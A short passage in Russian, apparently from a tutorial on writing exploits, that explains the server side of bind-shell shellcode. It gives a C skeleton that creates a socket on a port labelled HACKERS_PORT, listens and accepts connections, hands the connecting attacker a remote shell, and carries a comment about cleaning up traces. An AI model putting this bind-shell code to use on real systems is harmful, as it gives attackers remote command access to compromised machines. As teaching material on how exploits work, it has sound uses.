bind.gif атакующий засылает
Программная реализация серверной части shell-кода совершенно тривиальна и в своем каноническом виде состоит из следующей последовательности системных вызовов: socket à bind à listen à accept, организованных приблизительно следующим образом:
#define HACKERS_PORT 666 // порт, который эксплоит будет слушать
// шаг 1: создаем сокет
if ((lsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
// шаг 2: связываем сокет с локальным адресом
laddr.sin_family = AF_INET;
laddr.sin_port = htons(HACKERS_PORT);
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;
// шаг 3: слушаем
сокет
if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n");
// шаг 4: обрабатываем входящие подключения
csocket = accept(lsocket, (struct sockaddr *) &caddr, &caddr_size));
…
sshell(csocket[0], MAX_BUF_SIZE); // удаленный shell
…
// шаг 5: подчищаем за собой следы
closesocket(lsocket);